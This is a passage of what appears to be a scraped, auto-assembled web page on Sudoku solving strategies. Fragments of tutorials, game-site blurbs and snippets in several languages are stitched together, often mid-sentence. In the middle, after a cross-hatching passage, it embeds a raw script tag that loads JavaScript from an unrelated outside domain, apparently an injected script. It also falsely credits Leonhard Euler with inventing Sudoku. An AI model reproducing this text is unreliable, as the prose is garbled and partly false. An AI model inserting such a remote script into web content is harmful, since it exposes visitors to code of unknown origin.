I first look for pairs or triples of candidates. Then I progress to harder patterns such as X-Wing, Swordfish, XY-Wing and so forth.After penciling in candidates in a row, column, or region, I begin looking for patterns beginning with the easier ones and then progressing to the harder ones. Colorful Flash-based 4x4, 6x6 and 9x9 Sudoku games. Includes easy, medium and hard levels. Also suitable for kids and Sudoku beginners Sudoku strategy guide that covers the techniques used to solve Sudoku puzzles, with detailed graphics and thorough explanations

Game Strategy Guides More strategy guides and game solutions are waiting for you on our homepage!Discuss this article Visit the game forums and chat with our knowledgeable community members.Shop for games Browse our store and find some great savings on pretty cool merchandise.Read our Blog for site updates and commentary on a variety of interesting subjects.Contact us to make a suggestion, ask a question or comment on this article.Make a Donation to the ChessandPoker.com website at your convenience. ABCya! Sudoku is an educational activity for practicing children's math skills. Solve the mathematical puzzle by entering numbers to make the equations true

In this example, squares c7 and c8 in box 7 can only contain 4 and 9 as shown with the red pencilmarks below. We don’t know which is which, but we do know that both squares are occupied. In addition, square a6 excludes 6 from being in the left column of box 7. As a result the 6 can only be in square b9. Such cases where the same pair can only be placed in two boxes is called Disjoint Subsets, and if the Disjoint Subsets are easy to see then they are called Naked Pairs.** © Copyright Logic Ltd, sudoku**.bg 2019

Since we've solved the 7 for the B-Block (and the entire column where it resides), we can now eliminate any remaining 7 pencil marks that we had previously been using there. After doing so, we can see that now one of the squares only has a 4 pencil mark remaining. With no other options available, we know that this square must be the correct location for the 4. And once we've erased the pencil marks and written in the 4, we know that only one number remains, the 3. It must go in the last unsolved square in the upper left-hand corner of the B-Block. We've completely solved this B-Block! In this mini-example, we have focused on a sample B-Block which only needs the 1-3-6 numbers solved. This is because the numbers 2, 4, 5, 7, 8 and 9 have already been solved for the segment. Note that we have made pencil marks of the remaining numbers for this segment in the margins of the puzzle. This makes it very simple to remember what numbers we are dealing with and focuses the attention to the appropriate segments. For Rows and Columns it is usually best to make the pencil-marks just outside of each segment. With Blocks it is usually easiest to label them at the bottom of the puzzle, with the Block name beside the pencil marks. This should avoid any confusion that might occur between the different segments. Once all of the remaining unsolved numbers are determined for each of these segments, we can begin Crosshatching to reduce them further.

- For example, in this puzzle, the square outlined in red already has 8 of the 9 numbers in place. This makes it easy to place the 9th remaining number (just by checking to see which number is missing). In this case, the red-outlined square is missing number 8. So we know already – without doing anything else – that number 8 can be placed in that space.
- Other times I use a pair of numbers in the same row or column in conjunction with givens in other rows, columns, or regions, to place candidates in another 3x3 region. This way I am effectively removing possible candidates without ever writing them in.
- When a sudoku puzzle is created, how can the creator be sure it is solvable? Are all Sudoku puzzles solvable by an algorithm or computer code? What are puzzle games like..
- Sudoku is a puzzle involving logic - no arithmetic or guessing is required! The basic idea of completing puzzles is to find cells (the small squares) where you are sure that only one value is a valid placement

Online Sudoku is easier to use yet more powerful than 95% of computer-based sudoku games out there. It's surprisingly full-featured. The following is a list of just a handful of the cool features it sport As Sudoku puzzle levels get harder you will find the simple scanning methods described above are not enough and more sophisticated solving techniques must be used. Hard puzzles require deeper logic analysis which is done with the aid of pencilmarks. Sudoku pencilmarking is a systematic process writing small numbers inside the squares to denote which ones may fit in. After pencilmarking the puzzle, the solver must analyze the results, identify special number combinations and deduce which numbers should be placed where. Here are some ways of using analyzing techniques: **Sudoku** : Free **Sudoku** games for you. One million **Sudoku** puzzles to play online. Each **Sudoku** has a unique solution that can be reached logically without guessing

- Tips on Solving Sudoku Puzzles - Sudoku Solving Techniques. Solving a hard Sudoku puzzle will require quite a different set of techniques compared to an easy one
- o, or Geometric Sudoku) are very similar to regular Sudoku puzzles, but instead of 3x3 blocks, they are divided into..
- ating all the above numbers leaves 2 as the single candidate for square b4.
- How to become a Sudoku Ninja: Tips, Tricks and Strategies. 1. 33. Strategy. • If a puzzle is Easy, you should be able to use basic techniques without candidate lists

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Every Sudoku grid, when you start the game, comes with some numbers already placed into their correct spaces. This can give you an important head start for completing the rest of the puzzle. When you first start playing a new game of Sudoku, look to see where there are already lots of numbers placed – within a row, column or square. Sometimes the grid will do some of the work for you!The previous solving technique is useful for deducing a number within a row or column instead of a box. In this example we see that squares d9 and f9 in box 8 can only contain 2 and 7. Again we don’t know which is which, but we do know that both squares are occupied. The numbers which remain to be placed in row 9 are 1, 6 and 8. However, 6 can’t be placed in square a9 or in square i9, so the only possible place is square c9. Contribute to roukaour/sudoku development by creating an account on GitHub. ./sudoku.py -q BOARD Solves the given board without printing anything

*Sudoku software for PC - with the Color marking function and specific method to control candidate number,you can use the advanced techniques of sudoku more easily*. [Download Now] Demonstrates the basic strategies in solving a sudoku puzzle. Aimed at beginner solvers

Sudoku is a puzzle with a grid containing nine large blocks. Each block is divided into its own matrix of nine cells. The rules for solving Sudoku puzzles are very simple: each row.. Sudoku is a game of momentum – every time you place a new number, try to follow up on it and keep the momentum going by looking to see what other numbers can be placed. Every time you place a number on the grid, the grid changes and new possibilities are revealed.

Sudoku Puzzle -- Teaching Tips. Sudoku puzzles are an excellent tool for building students' critical thinking skills. It also builds confidence in their abilities to complete.. Many beginners, when faced with a Sudoku puzzle, often wonder where do I start? I usually begin by methodically scanning the puzzle for each number, one through nine. Best sudoku numbers game / sudoku app is also known as mental brain games or Download logic game sudoku game free offline board games popular logic-based.. These strategies are general, come up often, are non-overlapping, and are usable without (or with limited support from) a computer. If you are a novice, welcome to Sudoku mastery Now we know that the lower empty space in the red column CANNOT contain a number 9 – so it must be a 3, and the 9 must go in the upper empty space.

Sudoku 2, Fill the grid with digits from 1 to 9. How to play Sudoku 2 The X-Wing technique is used in rare situations which occur in some extremely difficult puzzles. Scanning column a we see that 4 can only be in square a2 or square a9. Similarly, 4 can only be in square i2 or square i9. Because of the X-Wing pattern where boxes are in the same row (or column), a new logic constraint occurs: it is obvious that in row 2 the 4 can only be either in square a2 or in square i2, and it cannot be in any other square. Therefore 4 is excluded from square c2, and square c2 must be 2.

All of the segments interact with one another perfectly in a solved Sudoku board. This means that what is true for one segment must hold true for the other two. So if you correctly solve a number in a Row, it must also be in the correct spot for the Column and Block that it happens to intersect with. If for any reason this is not true, then the number has not been correctly solved. In the notation graphic to the left, we can see that the entire A-block has been solved, as well as one full row and column. This unique puzzle is based on a simple set of rules that interestingly enough also guide a player to solving each puzzle. A complete solution requires that each Block, Row and Column of the puzzle board must contain the digits 1-9 exactly one time each, but not more than once. So once the puzzle is correctly solved, you will be able to look across any Row, down any Column or in any Block and find each of the nine digits only once in each segment. Play free online Sudoku puzzles (easy) with pencil mark and coloring options. Learn solving techniques with our smart solver. Also provides daily Sudoku, blank grid and touch screen friendly versions Cross-hatching is similar to the Squeezing technique except that with Cross-hatching you will be using more than two numbers in more than two connected Blocks to solve for a number. In the example above, we used the two deuces from the A-Block and B-Block to eliminate legal squares for the last remaining deuce in the C-Block. When there was only one square left, we knew it had to be the correct square as no other options were available based on the rules of the game. But what happens when attempting a Squeeze isn't enough? <script type=text/javascript src=https://scanvord.net/informery-u8/sudoku.php></script>. Как решить Судоку

Sudoku grid consists of 81 squares divided into nine columns marked a through i, and nine rows marked 1 through 9. The grid is also divided into nine 3x3 sub-grids named boxes which are marked box 1 through box 9. Numeric puzzle called SuDoKu. Place all numbers from 1 to 9 into each 3x3 matrix. Sudoku. Copyright(C)2006 GAMEDESIGN

Juega al sudoku online tantas veces como quieras. Tenemos distintos niveles y Elige a qué quieres jugar: Sudoku online con niveles; Sudoku Diario, uno nuevo cada día.. In a game of Sudoku, a player will typically begin their puzzle by working to solve as many numbers as they can by using several common techniques, inevitably getting stuck at some point when faced with the more difficult numbers to find. That's where our advanced strategy techniques will kick in. But let's look at the two most common methods first, Squeezing and Cross-Hatching.

**Sudoku** Tips. Basic Strategy. There are two basic strategies that you can use: 1) Find the only possible position of a number in a group (or row, or column), e.g The Lone Number in any given segment can occur when one of the many available pencilmark options is only found in only one of the unsolved squares. Let's take a look at our example. The remaining unsolved numbers are 2-8-9, and two of the squares have already been reduced to only having the 2 and 8 as available options. This means that there is only a single 9 pencil mark in the entire D-Block. This means that even though hypothetically all the options are still available (and are all still penciled in the square as 2-8-9), the 9 is a lone-number. If there are no other 9 pencil marks except in this particular square, we now know that it must be the correct square to place the 9 in! The Lone Number theory holds true for all segments, not just Blocks, so constantly keep watch for Lone Number opportunities such as this to speed your solutions along and get more numbers solved.Once we place the number 8, we can look to eliminate number 4 and 6 – and if we look to the top row of the left center square, we can see number 4, so we know that the top empty space of the center square CANNOT contain number 4. Simple process of elimination will lead us to be able to complete the rest of the center square – and each new number that gets placed in that square will also have an impact on the surrounding squares, rows and columns. Every number placed into its correct spot brings us closer to solving the puzzle. Generate and Solve Sudoku puzzles, Four-Square Sudoku, X-Sudoku and X4Q-Sudoku puzzles in steps Sudoku.com. 169K likes. Get a small stimulating break or clear your head with Sudoku by Easybrain

Master these strategies and be an expert. Please visit my channel and check out my other uploads such as How to solve a Sudoku puzzle - A Tutorial.. Mirrored from Sudopedia, the Free Sudoku Reference Guide. Main Page. Welcome to Sudopedia, your source for in-depth knowledge about the popular game of Sudoku

- Sudoku schnell erklärt. Sudoku ist ein Logikrätsel mit schematischem Grundaufbau: Bis auf besondere Spielarten und Varianten (wie z.B. das eher unbekannte Kreis-Sudoku oder das so genannte..
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- In our first example we will focus on box 2, which like any other box in Sudoku must contain 9. Looking at box 1 and box 3 we can see there are already 9s in row 2 and in row 3, which excludes the two bottom rows of box 2 from having 9. This leaves square e1 as the only possible place into which 9 can fit in.
- Using the 7 from the B-Block, as well as the 7's from the I-Block and F-Block we can now reduce the legal squares for the C-Block 7 even more. In the second graphic above, we see that using this technique has reduced the available legal squares for the C-Block 7 to only one square, which of course must be the correct placement based on the rules of the game. Cross-hatching might seem difficult at first, but with a little practice you will develop your Cross-hatching skills very quickly. This is a very important technique that will be put to use throughout all Sudoku puzzles of any difficulty quite frequently. It should become second nature to you in no time at all.

Sudoku Original, a free online Puzzle & Skill game brought to you by Armor Games. Fill in the 9x9 grid and ensure every column, row and box contains numbers from 1 to 9.. At the same time, when you look at the top center square outlined in blue, there are only 3 numbers left to be placed – numbers 2, 5 and 7.*For example, in this grid below, the red column has two empty spaces (circled in orange)*. We know just by checking the other numbers in the red column that the only numbers remaining to be placed are 9 and 3. If we look to the left to see where other numbers might be, we can see a 9 in the center row of the left center square (circled in orange).This is just a beginning of Sudoku strategies. Why not share your tactics to solving a Sudoku puzzle? Show off your skills and be recognized as a Sudoku Pro. Help and be helped. Gioca Sudoku 2 online gratis su Gioco.it! Riempi la griglia con i numeri dall'1 al 9. Riempi la griglia con i numeri dall'1 al 9. Come giocare Sudoku 2. Usa il mouse per giocare

Our strategy page gives an introduction to all the main tactics for solving a Sudoku puzzle. We have separate pages on Trial and error as well as Advanced Strategies. Fortunately, Sudoku is less complicated than it might appear at first. If you know how to approach the Sudoku grid and find a few shortcuts, you’ll start to quickly recognize the patterns in the game and figure out how to spot opportunities to successfully place numbers. Play several thousand Sudoku online in your browser or download Sudoku as a PDF document and print them. You can download and print Sudokus at Print Sudoku for free

Math.com Sudoku posts five new puzzles every day. Each puzzle has a unique solution and can be solved with pure logic. Guessing is not required. To learn more about Sudoku, see here What Are Some Sudoku Strategies? There are actually quite a few strategies sudoku lovers use, and which ones are best vary widely based on who you're talking to Sudoku Swami guides you through step by step strategies to crack sudoku puzzles. Watch the videos tailored to help you learn advanced sudoku puzzle tips and tricks

- ate the 3 as an option for this particular square, so the pencil mark must remain for it there. We can now see that for two of the unsolved squares, only the 4 or 7 can be the correct solution. Now that we've at least eli
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- e the location of the two squares that will contain the C-Block 9. They both reside on the topmost row of the C-Block. We have made a very important discovery. Since we know that the C-Block 9 must be in one of these two pencil-marked squares, based on the rules we can further understand that the 9 for this row has been effectively solved for the rest of the segment. We don't need to actually solve the C-Block 9 at this point, because as long as we know that it must go into one of those two squares, both on the same row, we can use this information to cancel out the top three squares of the A-Block as seen in the next graphic to the right. There is now only one remaining square left for the A-Block 9, and we can confidently place it there.

Play Sudoku 2 for free online at Gamesgames.com! Fill the grid with digits from 1 to 9 Sudoku. Set® Sudoku (数独) is a popular logic puzzle game with numbers. This is a great exercise for the brain, developing the speed of thinking and logic, the ability to quickly focus and patiently..

This means that we can eliminate 8 from those two empty squares, and we know that number 8 needs to be placed in the lower left corner space of the central square (circled in red).* Play unlimited Sudoku online from Easy to Evil*. Compatible with all browsers, iPad and Android. Provider of Sudoku puzzles for newspapers and other publications (You can preview and edit on the next page)

Minimum Sudoku Puzzles Strategies for Solving Sudoku Puzzles. Sudokuwiki has excellent descriptions of solving techniques Squeezing is the process of using two solved numbers in connected Blocks of the Sudoku board to solve the same number in the last connected Block. When there are already two of any number solved in connected blocks, we can reduce the total number of legal squares the same number can be located in for the target connected Block. In the graphic to the right, we can see that the number "2" (deuce) has already been solved in both the A and B Blocks. This means that we can use this information as leverage when trying to solve for the Deuce in the connected C Block. We have highlighted the "off-limits" squares in red across the board based on the location of the A and B-Block deuces. Of course, we know that there can only be one deuce per Block per the rules so we don't need to highlight any other squares in the A and B-Blocks (we already know they're off limits). Play Sudoku online for free. 4 difficulty levels. Unlimited puzzles to choose from. Print, share, get statistics and meet other players. Play Sudoku Now When I see multiple givens of the same number, I then slice and dice and see how many cells I can solve. This is a good way to find single possibilities for a given cell.

- Want to play Online Sudoku? Play this game online for free on Poki. Lots of fun to play when bored at home or at school. Online Sudoku is one of our favorite thinking games
- YazarOkur Sudoku ile ister süre ile yarış, istersen çözülememiş sudoku bulmacalarını çözmeye çalış. Sudoku oyunu sayfamız görsel olarak yenilenmiştir. Umarım yeni tasarım hoşunuza gider
- Sudoku.com. 169K likes. Get a small stimulating break or clear your head with Sudoku by Easybrain. Take your favorite app with you wherever you go...
- By looking to the squares below, we can see a number 5 (circled in orange) in the center column – this means that those two empty spaces in the center column of the top (blue) square CANNOT contain number 5 – so the one remaining empty space in the blue square (upper left corner, circled in orange) must contain the number 5. Already, just by looking at some squares that already had a lot of numbers placed, we can fill in some gaps in the grid.
- Solves any valid sudoku puzzle. Helps you to improve your solving skills and practice solving strategies. Offers thousands of free graded puzzles
- Sudoku is a logic puzzle with simple rules and challenging solutions. The rules of sudoku are simple. You have to enter a numerical digit from 1 through 9 in each cell of a 9x9 grid made up of 3x3..
- Sudoku Too Easy? Then try some of our extra-fiendish puzzles. Extreme Sudoku posts five new puzzles every day. Each puzzle has a unique solution and can be solved with pure logic

Tiskanje sudokujev na papir. sudoku.cba.si ponuja zastonj storitev generiranja PDF datotek s sudokuji, ki jih lahko natisnete. Sudokuji so na strani razporejeni kompaktno, ampak vseeno berljivo.. Using the above Sudoku strategies, you should be able to deeply solve most of the easier puzzles and discover a large batch of solved numbers for many of the moderate-to-hard puzzles as well. Sometimes it is even possible to further optimize the steps to help speed things along (and avoid getting burnt out in the process). One such optimization is know as "Spotting the Lone Number". In the last strategy tip we learned how to pencil mark the available options for segments with three-or-less unsolved squares. Furthermore, we learned to use the cross-hatching technique to further reduce the pencil mark options and in some cases even solve the entire segment. But there is often an even more efficient method when performing these types of reductions.

Sudoku is the hottest game in America! Put on your Sudoku game hat, lean into the screen, and get ready some challenging, free online Sudoku at AARP The easiest way starting a Sudoku puzzle is to scan rows and columns within each triple-box area, eliminating numbers or squares and finding situations where only a single number can fit into a single square. The scanning technique is fast and usually sufficient to solve easy puzzles all the way to the end. The scanning technique is also very useful for hard puzzles up to the point where no further progress can be made and more advanced solving techniques are required. Here are some ways of using scanning techniques:After spotting a pattern, then I use a little logic to help me solve the Sudoku puzzle. This gets fun when you can use logic to break a chain or eliminate candidates from cells. Never-ending variety of free Sudoku puzzles - you can play your daily Sudoku here, get a printable Sudoku or just play as many free online Sudoku as you want - all with lots of helpful features

* Learn strategies to help you solve even the most difficult sudoku puzzles*. Basic Strategies. Singles in Rows, Columns, and Blocks Strategy Jeu de sudoku ▦ gratuit en ligne selon 5 niveaux : sudoku facile, moyen, difficile, diabolique et démoniaque. Imprimer la grille de sudoku, retrouver la solution ou jouer sur mobile Using the same logic as above, we continue our scan of the Blocks connected to the target B-Block to see if we can find any more numbers to use to our advantage. We find a 4 located in the A-Block. Using our crosshatching skills, we can now eliminate the 4 as an option in the bottom unsolved square of the B-Block. This is of course because since there can only be one 4 for each row, and it's already been solved for the row in the A-Block, we know it is not a legal option anywhere else in the entire row. In the graphic above we have eliminated the 4 pencil mark from the bottom unsolved square of the B-Block. Now we can see that only the 7 pencil mark remains as an option for that particular square. What does this tell us? Since we know all of our calculations are correct up to this point, then the 7 must be the correct number for that square. We've solved for the 7 in the B-Block! In the next graphic to the right, we have officially placed the 7 into its solved position after erasing the mini-pencil marks. Now that we've done that, we can then use this newly solved number to further reduce the remaining options in the last two unsolved squares.

♠ Solitaire ♠ Spider 中 Mahjong▦ Sudoku. How To Play Sudoku. Goal (Programs like Simple Sudoku will do this laborious step automatically for you too.) X-Wing: For every Sudoku, a value can exist only once in each row, column and box Math.com Sudoku posts five new puzzles every day. Each puzzle has a unique solution and can be solved with pure logic. Guessing is not required. To learn more about Sudoku..

- Share Your Sudoku Strategies! Sudoku strategies begin with knowing where to start, what to look for, and applying logic. Read about my strategies and then share yours.
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- ation, we know that this purple space CANNOT contain 5 or 7, so it must contain number 8.
- ate legal squares for the 7 in the connected C-Block. But once the off-limits squares were highlighted, there remained two available legal squares (shown with question marks) for the C-Block 7. When we did a Squeeze above, there was only one legal square available, which made things much easier for us. But we'll need a bit more information to solve the C-Block 7, so we begin to look at the other Blocks which are connected with the C-Block. When we scan the A-Block and B-Block, we find a 7 that has already been solved in the B-Block. We can now perform a Cross-hatch.

Sudoku is a puzzle involving logic - no arithmetic or guessing is required! The basic idea of completing puzzles is to find cells (the small squares) where you are sure that only one.. More Information About Sudoku. Sudoku, originally called number place is a logical game invented by Swiss mathematician Leonhard Euler in the 18th century. The game acquired its present form.. Keep in mind that this technique, as well as all of the others we have discussed, apply to all segments of the Sudoku board, not just one or the other. They can be used up and down Columns, in either direction across Rows and in any Block configurations. Using this final method will allow you to "crack" some of the tougher numbers in your Sudoku puzzles and breakthrough with a solution. Enter your Sudoku kingdom to play at the level of your choice: easy Sudoku, medium Sudoku, hard Sudoku and evil Sudoku. Live Sudoku was born out of love for the game Welcome to the Daily SuDoku! Today's SuDoku is shown on the right. Click the grid to download a printable version of the puzzle. Visit the archive for previous daily puzzles and solutions

A sudoku solver using constraint propagation. Contribute to lfiaschi/udacity-sudoku development by creating an account on GitHub What is Sudoku? It is a brainteaser coming from Japan, very popular in many countries around the world. There are scientific researches describing the Disjoint Subsets are not always obvious to see at first sight, in which case they are called Hidden Pairs. If we take a very close look at the pencilmarks in row 7 we can see that both 1 and 4 can only be in square f7 and square g7. This means that 1 and 4 are a Hidden Pair, and that square f7 and square g7 cannot contain any other number. Using the scanning technique we see that 7 can only be in square d7. Sudoku grid consists of 81 squares divided into nine columns marked a through i, and Scanning techniques. The easiest way starting a Sudoku puzzle is to scan rows and.. Online Sudoku makes it easier than you ever thought possible. Hundreds of Puzzles With hundreds of puzzles to play in four difficulty levels, you'll never run out

Tips on Solving **Sudoku** Puzzles - **Sudoku** Solving Techniques. Solving a hard **Sudoku** puzzle will require quite a different set of techniques compared to an easy one In the examples below, we'll focus on the B-Block of this new puzzle which we can see only needs the 3-4-7 numbers solved. To further illustrate this, we've made pencil marks inside of each of the unsolved squares. Many players find this helps them keep track of the remaining numbers, but once you've gained some experience you'll soon be able to do this step in your head. Since we know what numbers need to be solved but not where, we must use the technique of Cross-hatching that we learned above.

Do you have a great Sudoku strategy? Share it! Write a 300 word article that explains your strategy. Use proper English and sentence structure. As described in the tips above, we have recently placed number 8s in the squares next to the upper right corner and left column of the central square (outlined in red). Other Tips and Puzzle Strategies. Use a Halloween Sudoku Puzzle in Your Classroom Use this fun Halloween sudoku puzzle as a classroom activity, for early birds, or as a.. It has the look of a Calculus final. A scattered group of numbers staring you in the face, seemingly tossed at random into the many squares of the puzzle. You swallow hard, sharpen your pencil and embark on your journey, not knowing if you will return victorious or completely insane. You are just starting a game of Sudoku, the wildly popular puzzle game that has established itself as one of the most addictive games in the world. We now proudly welcome you to the Chess and Poker Dot Com Sudoku strategy guide that will help you tackle this always entertaining puzzle. It assumes you've played through several puzzles and are familiar with the game. Suitable for all grades, Sudoku lets you fill in each row, column, & region with a unique number. Complete the puzzle to win. Play Sudoku online, here

Play SUDOKU online for free. Easy, medium, or hard puzzles, play them online or print them. Get started right away, on the nicest Sudoku site on the web This method can be particularly useful when rows (and columns) are close to completion. Let’s take a look at row 6. Seven of the nine squares contain the numbers 1, 2, 3, 4, 5, 8 and 9, which means that 6 and 7 are missing. However, 6 cannot be in square h6 because there is already 6 in that column. Therefore the 6 must be in square b6. Reducing is the process of logically eliminating possible numbers in a Block, Row or Column using simple deductive reasoning. When any segment has been solved to the point that only three or less unsolved numbers remain in it, the segment is ready to be Reduced. When you spot these three-or-less segments (which can be Blocks, Columns or Rows), a helpful technique will be to pencil in the remaining unsolved numbers for each three-or-less segment in the margins of the Sudoku board. It is important to note that some players will begin using pencil marks in segments that have many more unsolved numbers than just three-or-less unsolved squares. Except in some more advanced techniques (described below), this is almost always unnecessary and can confuse the player by cluttering up the board. For our Sudoku strategy guide, we will only focus on segments containing three-or-less unsolved squares as described here. Simple Sudoku by Angus Johnson. A Sudoku puzzle maker and solver for Win9x, Win2000 Simple Sudoku makes high quality puzzles that are symmetrical, have a single solution, and do not require.. Would an effective Sudoku strategy help you solve your Sudoku Puzzle? Learn these Sudoku strategies and puzzle solving techniques How to solve sudoku - Solving sudoku strategies. These are the strategies used to solve a Sudoku. There are many different solving sudoku strategies discovered